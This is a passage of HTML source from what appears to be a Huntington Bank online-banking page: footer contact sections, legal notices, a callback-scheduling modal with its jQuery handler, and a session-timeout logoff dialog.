                                <div class="c-g-contact__title">Open an Account</div>
                                <div>
                                    <a id="aOpenAnAccount" tabindex="0" rel="noopener noreferrer"   target="_blank"   class="c-g-contact__link u-g-fz-body--small u-g-fw-normal u-g-fd-underline" href="/rol/Accounts/NewAccount.aspx">Apply Online</a>
                                </div>
                            </div>
                        </div>

                    </div>
            </div>

            <div class="o-g-row__col   o-g-row__col--span-12 o-g-row__col--span-4@medium u-g-border-left-alpha@medium   u-g-pad-all-0 ">
                <div class="u-g-pad-top-s u-g-pad-bottom-m u-g-pad-left-m@medium u-g-pad-left-l@large u-g-pad-right-m@medium u-g-pad-right-l@large">
                    <div class="c-g-contact">
                        <div class="c-g-contact__icon">
                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" aria-hidden="true">
                                <path class="u-g-fill-green-light" d="M25,28.60623a9.28679,9.28679,0,1,1,9.287-9.28656A9.2969,9.2969,0,0,1,25,28.60623ZM25,12.8689a6.45055,6.45055,0,1,0,6.45078,6.45078A6.458,6.458,0,0,0,25,12.8689Z"></path>
                                <path class="u-g-fill-green-light" d="M25,49a1.42008,1.42008,0,0,1-1.058-.47363C23.23751,47.737,6.68078,29.08263,6.68078,19.31968a18.31922,18.31922,0,1,1,36.63843,0c0,9.763-16.55672,28.41731-17.26117,29.20669A1.42008,1.42008,0,0,1,25,49ZM25,3.83624A15.50062,15.50062,0,0,0,9.517,19.31968c0,6.71344,10.33953,20.12649,15.483,26.10825,5.14253-5.98269,15.483-19.39942,15.483-26.10825A15.50062,15.50062,0,0,0,25,3.83624Z"></path>
                            </svg>
                        </div>
                        <div class="c-g-contact__content">
                            <script type="text/javascript">
                                var nearestBranchURLs = {
  "GetNearestBranchUrl": "/Retail/Client/GetNearestBranch",
  "GetNearestBranchSessionUrl": "/Retail/Client/GetNearestBranchSession",
  "GetUserCoordinatesUrl": "/Retail/Client/GetUserCoordinatesSession"
};
                            </script>
                            <div class="c-g-contact__title">Visit My Branch</div>
                            <div>
                                <a class="c-g-contact__link u-g-fz-body--small u-g-fw-normal u-g-fd-underline" tabindex="0" href="https://www.huntington.com/branchlocator" id="aBranchAddress">Find a Branch</a>
                                <div class="u-g-fz-body--small u-g-fw-normal u-g-mar-top-s" id="divHoursOpen"></div>
                            </div>
                        </div>
                    </div>

                </div>
            </div>

            <div class="o-g-row__col   o-g-row__col--span-12 o-g-row__col--span-4@medium u-g-border-left-alpha@medium   u-g-pad-all-0">
                    <div class="u-g-pad-top-s u-g-pad-bottom-m u-g-pad-left-m@medium u-g-pad-left-l@large u-g-pad-right-m@medium">
                        <div class="c-g-contact">
                            <div class="c-g-contact__icon">
                                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" aria-hidden="true">
                                    <path class="u-g-fill-green-light" d="M37,9V41a4.05567,4.05567,0,0,1-4,4H17a4.05567,4.05567,0,0,1-4-4V9a3.84387,3.84387,0,0,1,1.1875-2.8125A3.8426,3.8426,0,0,1,17,5H33a3.84575,3.84575,0,0,1,2.8125,1.1875A3.84764,3.84764,0,0,1,37,9ZM34,36V14a1.01392,1.01392,0,0,0-1-1H17a1.01392,1.01392,0,0,0-1,1V36a1.01392,1.01392,0,0,0,1,1H33a1.01392,1.01392,0,0,0,1-1ZM28,9.5a.4422.4422,0,0,0-.5-.5h-5a.44181.44181,0,0,0-.5.5.44162.44162,0,0,0,.5.5h5A.442.442,0,0,0,28,9.5ZM26.76563,42.76563A2.48969,2.48969,0,1,0,25,43.5,2.40807,2.40807,0,0,0,26.76563,42.76563Z"></path>
                                </svg>
                            </div>
                            <div class="c-g-contact__content">
                                <div class="c-g-contact__title">Talk to a Banker</div>
                                <div id="chatNowLinkSection" hidden="hidden">
                                    <div class="u-g-mar-bottom-s">
                                        <a id="chatNowLink" class="c-g-contact__link u-g-fz-body--small u-g-fw-normal u-g-fd-underline" tabindex="0">Chat Now</a>
                                    </div>
                                </div>
                                <div class="u-g-fz-body--small u-g-fw-normal">
                                    <div>Give us a call at</div>
                                    <div>(800) 480-2265, daily 7:00 a.m. to 8:00 p.m. ET.</div>
                                </div>
                            </div>
                        </div>
                    </div>
            </div>

        </div>
        <div class="u-g-mar-top-s u-g-pad-top-s u-g-pad-left-l u-g-pad-left-xxl@large u-g-pad-right-l u-g-pad-left-l u-g-pad-right-xxl@medium u-g-border-top-alpha">
            <ul class="o-g-bare-list c-g-footer__nav u-g-pad-top-m u-g-pad-bottom-m">
                <li class="o-g-bare-list__item c-g-footer__nav-item"><a href="https://www.huntington.com/Privacy-Security" tabindex="0" class="c-g-footer__link" rel="noopener noreferrer" target="_blank">Identity Protection</a></li>
                <li class="o-g-bare-list__item c-g-footer__nav-item"><a href="https://www.huntington.com/Privacy-Security/privacy-policies/huntingtons-security-commitment" tabindex="0" class="c-g-footer__link" rel="noopener noreferrer" target="_blank">Security</a></li>
                <li class="o-g-bare-list__item c-g-footer__nav-item"><a href="https://www.huntington.com/Privacy-Security/privacy-policies/privacy-policy" tabindex="0" class="c-g-footer__link" rel="noopener noreferrer" target="_blank">Privacy</a></li>
                <li class="o-g-bare-list__item c-g-footer__nav-item"><a href="https://www.huntington.com/Personal/online-banking/huntington-online-guarantee" tabindex="0" class="c-g-footer__link" rel="noopener noreferrer" target="_blank">Online Guarantee</a></li>
                <li class='o-g-bare-list__item c-g-footer__nav-item feedback-footer-parent' data-feedback-link-icon-id='white' data-feedback-link-class="c-g-footer__link" data-site-survey-context_placement='Footer' data-feedback-link-type='Footer'></li>
            </ul>
            <div class="u-g-fz-body--small u-g-fw-normal u-g-pad-top-s u-g-pad-bottom-m">
                <img alt="EHL Logo" src="/rol/Content/Images/house.gif" />
                The Huntington National Bank is an Equal Housing Lender and Member FDIC.
                <svg class="c-g-footer__icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">
                    <title>Huntington Hexagon</title>
                    <polyline class="u-g-fill-white" points="23.852 15.63 23.852 0.339 18.298 3.547 18.298 18.837 23.852 15.63"></polyline>
                    <polyline class="u-g-fill-white" points="25.933 34.351 25.933 49.651 31.488 46.444 31.488 31.144 25.933 34.351"></polyline>
                    <polyline class="u-g-fill-white" points="18.298 29.943 18.298 46.444 23.852 49.65 23.852 33.264 33.57 27.652 33.57 45.242 39.124 42.035 39.124 7.95 33.57 4.742 33.57 21.125 18.298 29.943"></polyline>
                    <polyline class="u-g-fill-white" points="16.215 4.749 10.661 7.955 10.661 42.035 16.215 45.242 16.215 28.856 31.487 20.039 31.487 3.541 25.933 0.334 25.933 16.717 16.215 22.328 16.215 4.749"></polyline>
                    <path class="u-g-fill-white" d="M8.58633,9.15325,3.87154,11.87469a1.75512,1.75512,0,0,0-.84528,1.33487L3.0234,36.77417a1.75245,1.75245,0,0,0,.84651,1.33447L8.5843,40.8317l.002-31.67845"></path>
                    <path class="u-g-fill-white" d="M41.21018,40.8317,45.925,38.10864a1.75572,1.75572,0,0,0,.84651-1.33447L46.769,13.20956a1.75781,1.75781,0,0,0-.84569-1.33487L41.20693,9.152l.00326,31.67967"></path>
                </svg>®, Huntington®,
                <svg class="c-g-footer__icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">
                    <title>Huntington Hexagon</title>
                    <polyline class="u-g-fill-white" points="23.852 15.63 23.852 0.339 18.298 3.547 18.298 18.837 23.852 15.63"></polyline>
                    <polyline class="u-g-fill-white" points="25.933 34.351 25.933 49.651 31.488 46.444 31.488 31.144 25.933 34.351"></polyline>
                    <polyline class="u-g-fill-white" points="18.298 29.943 18.298 46.444 23.852 49.65 23.852 33.264 33.57 27.652 33.57 45.242 39.124 42.035 39.124 7.95 33.57 4.742 33.57 21.125 18.298 29.943"></polyline>
                    <polyline class="u-g-fill-white" points="16.215 4.749 10.661 7.955 10.661 42.035 16.215 45.242 16.215 28.856 31.487 20.039 31.487 3.541 25.933 0.334 25.933 16.717 16.215 22.328 16.215 4.749"></polyline>
                    <path class="u-g-fill-white" d="M8.58633,9.15325,3.87154,11.87469a1.75512,1.75512,0,0,0-.84528,1.33487L3.0234,36.77417a1.75245,1.75245,0,0,0,.84651,1.33447L8.5843,40.8317l.002-31.67845"></path>
                    <path class="u-g-fill-white" d="M41.21018,40.8317,45.925,38.10864a1.75572,1.75572,0,0,0,.84651-1.33447L46.769,13.20956a1.75781,1.75781,0,0,0-.84569-1.33487L41.20693,9.152l.00326,31.67967"></path>
                </svg>Huntington®, Huntington.Welcome.®, and Huntington Heads Up® are federally registered service marks of Huntington Bancshares Incorporated. ©2022 Huntington Bancshares Incorporated.
            </div>
        </div>
    </div>
</footer>



<div id="virtualConcierge-modal-id" class="c-g-modal c-g-modal--flexfix" data-modal="virtualConcierge" data-modal-parent="" data-interrupt-esc="False" data-model-open-class="c-g-modal--active" tabindex="0" role="dialog" aria-labelledby="virtualConcierge-header-text">
    <div data-modal-outer-container="Normal" class="c-g-modal__window o-g-vhc o-g-vhc--100 o-g-vhc--80@medium o-g-vhc--ie-hack u-g-pad-all-0 
                 c-g-modal__window--flexfix c-g-modal__window--use_min-width u-g-overflow-visible u-g-max-height-none">

        <div class="o-g-vhc__content c-g-modal__window-header u-g-mar-offset-all-0 " data-modal-header-container>
            <div id="virtualConcierge-nav-link" class="u-g-cursor-pointer u-g-disp-none">
                <svg xmlns="http://www.w3.org/2000/svg" version="1.1" id="Layer_virtualConcierge" x="0px" y="0px" viewBox="0 0 16.8 26" style="enable-background:new 0 0 17 26; transform: scale(-1,1);" xml:space="preserve" class="b-g-icon">
                <path d="M16.5,13.7l-12,12c-0.4,0.4-1,0.4-1.4,0c0,0,0,0,0,0L0.3,23c-0.4-0.4-0.4-1,0-1.4c0,0,0,0,0,0L8.9,13L0.3,4.4  c-0.4-0.4-0.4-1,0-1.4c0,0,0,0,0,0L3,0.3c0.4-0.4,1-0.4,1.4,0c0,0,0,0,0,0l12,12C16.9,12.7,16.9,13.3,16.5,13.7  C16.5,13.7,16.5,13.7,16.5,13.7z" />















                                </svg>
                <span id="virtualConcierge-nav-link-text" class="u-g-fd-underline"></span>
            </div>
            <h3 id="virtualConcierge-header-text" class="u-g-h3 u-g-width-85 u-g-width-100@medium" tabindex="0" data-modal-header-text="Let Us Call You"> Let Us Call You</h3>
        </div>

        <div id="virtualConcierge-scroll" class="o-g-vhc__content o-g-vhc__content--variable u-g-overflow-visible u-g-min-height-0 " data-ajax-container="virtualConcierge-container" data-modal-partialview-container=""></div>

        <div class="c-g-preloader" data-ajax-name="virtualConcierge-container">
    <div title="Loading" class="c-g-preloader__icon-container">
        <div class="c-g-preloader__icon c-g-preloader__icon--1 a-g-preloader a-g-preloader-1"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--2 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--3 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--4 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--5 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--6 a-g-preloader a-g-preloader-1"></div>
    </div>
    <div class="c-g-preloader__text a-g-preloader-text">Loading</div>
</div>



<div role="button" class="c-g-modal__close"  data-close-modal tabindex="0" aria-label="close button">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" focusable="false">
        <title>Close icon.</title>
        <path class="u-g-fill-grey-cool" d="M24.92449,1A23.99992,23.99992,0,1,0,49,25.07551,24.007,24.007,0,0,0,24.92449,1Zm0,43.987A19.91151,19.91151,0,1,1,44.836,25.07551,19.93588,19.93588,0,0,1,24.92449,44.987Z" />
        <polygon class="u-g-fill-grey-cool" points="33.934 14.022 24.924 23.031 15.991 14.098 13.114 16.975 22.048 25.908 13.114 34.842 15.991 37.719 24.924 28.785 33.858 37.719 36.735 34.842 27.801 25.908 36.811 16.899 33.934 14.022" />
    </svg>
</div>
    </div>
</div>
<script>
            $(document).ready(function () {
                var triggerID = 'callBackOpenButton';

                if (triggerID) {
                    if (triggerID.includes("data-")) {
                        $("[" + triggerID + "]").click(function (event) {
                            populateModal();
                        });
                    }
                    else {
                        $("#" + triggerID).off("click").on("click", function () {
                            populateModal();
                        });
                    }
                }
                function populateModal() {
                    var modalId = $("#virtualConcierge-modal-id");
                    var vID = Math.floor(Math.random() * 100) + Date.now();
                    var url = "/Retail/VirtualConcierge/ScheduleCallback?" + "v=" + vID;

                    //restore header
                    var modalHeader = modalId.find('[data-modal-header-container]');
                    if (modalHeader.length) {
                        var defaultHeaderText = $("#virtualConcierge-header-text").data('modal-header-text').trim();

                        $("#virtualConcierge-header-text").text(defaultHeaderText);

                        if (modalHeader.is(":hidden") && $("#virtualConcierge-header-text").text().trim().length) {
                            modalHeader.show();
                            modalHeader.find("h3")
                                .first()
                                .attr("tabindex", "0");
                        }
                        else if ($("#virtualConcierge-header-text").text().trim().length == 0) {
                            modalHeader.hide();
                        }
                    }

                    //restore size
                    var outerContainer = modalId.find('[data-modal-outer-container]');
                    if (outerContainer.data('modal-outer-container') === 'Normal') {
                        outerContainer.removeClass('c-g-modal__window--large');
                    }

                    openModal(modalId[0].id, url);
                }

            });

            
</script>



<!-- /Footer -->



<script>
    $(document).ready(function(){
        var showCallbackModal = 'False'.toLowerCase() === 'true';


        if (showCallbackModal) {
            openModal("virtualConcierge-modal-id", '/Retail/VirtualConcierge/ScheduleCallback');
        }
    });
</script>
<script>

    //Used by NML Zones, DO NOT RENAME OR REMOVE
    function OpenBranchAppointmentScheduler() {
        Tooltips.closeAll();
        openModal("ScheduleBranchAppointment-modal-id", '/Retail/BranchAppointment/GetMaxSalesforceToken');
    };

    $('#DoneWithFlow').on('change', function () {
        triggerModalClose('ScheduleBranchAppointment-modal-id');
    })
</script>

            </div>
        </div>

<div tabindex="0" aria-modal="true" role="dialog" aria-labelledby="timeOutDialogTitle" aria-describedby="sessionLogoutDialogWarningMessage" class="c-g-modal u-g-z-index-max" data-modal="modal" data-model-open-class="c-g-modal--active" data-timeout-container="" data-modal-no-close="true">
    <div class="o-g-vhc o-g-vhc--100 o-g-vhc--80@medium c-g-modal__window u-g-pad-all-0">
        <div class="o-g-vhc__content c-g-alert u-g-pad-left-m u-g-pad-right-m u-g-mar-offset-all-0 u-g-pos-top-0">
            <div class="c-g-notice__head">
                <div class="c-g-notice__icon" aria-hidden="true">
                    <svg class="u-g-disp-block" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">
                        <path class="u-g-fill-yellow-dark" d="M2.01869,35.50657,18.362,6.90686a7.64539,7.64539,0,0,1,13.276,0L47.98131,35.50657a7.64539,7.64539,0,0,1-6.638,11.43867H8.65668A7.64539,7.64539,0,0,1,2.01869,35.50657Z"></path>
                        <path class="u-g-fill-grey-cool-dark" d="M23.4892,31.40811,21.89543,15.33727l6.20913.033L26.544,31.40811Zm-1.19546,4.47338h5.41252v5.346H22.29374Z"></path>
                    </svg>
                </div>
                <div class="u-g-mar-left-xs">
                    <div id="timeOutDialogTitle" role="heading" class="u-g-h3" style="font-size: 1.4rem;">Online Banking Session Logoff</div>
                </div>
            </div>
        </div>
        <div class="o-g-vhc__content o-g-vhc__content--variable c-g-modal__body u-g-pad-all-m u-g-pad-bottom-0" data-ajax-container="timeout">
            <div data-timeout-content="">
                <div id="sessionLogoutDialogWarningMessage" class="u-g-fz-body--small u-g-mar-bottom-m u-g-txt-center">
                    You are about to be logged out due to inactivity.
                </div>
                <div data-timeout-countdown="">
                </div>
            </div>
            <div data-timeout-error="" style="display:none;">
                <div class="o-g-validation-group o-g-validation-group--small o-g-validation-group--error">
                    <div class="o-g-validation-group__msg u-g-mar-bottom-l">
                        <div class="c-g-icon-msg">
                            <svg class="c-g-icon-msg__icon c-g-icon-msg__icon--30" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" aria-hidden="true">
                                <path d="M500.5,256A244.5,244.5,0,1,1,256,11.5h0A243.94826,243.94826,0,0,1,500.5,256ZM256,52.80068A203.19932,203.19932,0,1,0,459.19932,256h0A203.05361,203.05361,0,0,0,256,52.80068Z"></path>
                                <path d="M292.34461,143.66216c0-1.652-3.30407-8.26014-9.91217-8.26014h-54.5169c-6.60812,0-9.91217,6.6081-9.91217,8.26014l4.95608,138.77025c0,3.30407,3.30405,6.6081,8.26014,6.6081h47.90878c4.95607,0,8.26014-3.30407,8.26014-6.6081Z"></path>
                                <path d="M289.04055,328.68919c0-4.95607-3.30407-8.26014-8.26014-8.26014H231.2196c-4.95608,0-8.26014,3.30407-8.26014,8.26014V376.598c0,4.95607,3.30405,8.26014,8.26014,8.26014h49.56081c4.95607,0,8.26014-3.30407,8.26014-8.26014Z"></path>
                            </svg>
                            <div class="c-g-icon-msg__msg">
                                There was an error refreshing your session. You will now be redirected to Huntington.com
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="c-g-preloader" data-ajax-name="timeout">
    <div title="Loading" class="c-g-preloader__icon-container">
        <div class="c-g-preloader__icon c-g-preloader__icon--1 a-g-preloader a-g-preloader-1"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--2 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--3 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--4 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--5 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--6 a-g-preloader a-g-preloader-1"></div>
    </div>
    <div class="c-g-preloader__text a-g-preloader-text">Loading</div>
</div>

        <div id="modal-footer" class="u-g-pad-all-m">
            <div class="u-g-disp-flex u-g-flex-col u-g-flex-row-rev@large">
                <button type="button" class="c-g-btn c-g-btn--expand-while-small u-g-mar-top-m u-g-mar-bottom-s u-g-mar-bottom-0@large u-g-mar-top-0@medium u-g-mar-left-m@medium u-g-fz-body--small" data-session-continue="" data-ajax-target-container="timeout">Continue Working</button>
                <button type="button" class="c-g-btn c-g-btn--outline c-g-btn--expand-while-small u-g-mar-top-m u-g-mar-bottom-m u-g-mar-bottom-0@large u-g-mar-top-0@medium u-g-mar-left-m@medium u-g-fz-body--small" data-session-logout="">Log Out</button>
            </div>
        </div>
        <button type="button" class="c-g-modal__close" data-close-modal="" data-session-continue="" data-ajax-target-container="timeout" aria-label="Close Modal">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">
                <path class="u-g-fill-grey-cool" d="M24.92449,1A23.99992,23.99992,0,1,0,49,25.07551,24.007,24.007,0,0,0,24.92449,1Zm0,43.987A19.91151,19.91151,0,1,1,44.836,25.07551,19.93588,19.93588,0,0,1,24.92449,44.987Z"></path>
                <polygon class="u-g-fill-grey-cool" points="33.934 14.022 24.924 23.031 15.991 14.098 13.114 16.975 22.048 25.908 13.114 34.842 15.991 37.719 24.924 28.785 33.858 37.719 36.735 34.842 27.801 25.908 36.811 16.899 33.934 14.022"></polygon>
            </svg>
        </button>
    </div>
</div>

<script type="text/javascript"  src="/ojE0Xz5p04Ymp/n84llS2fHR54/II/7c1LhGbr/aXtKDWIB/UwYhb/gZTHy4"></script></body>
</html>
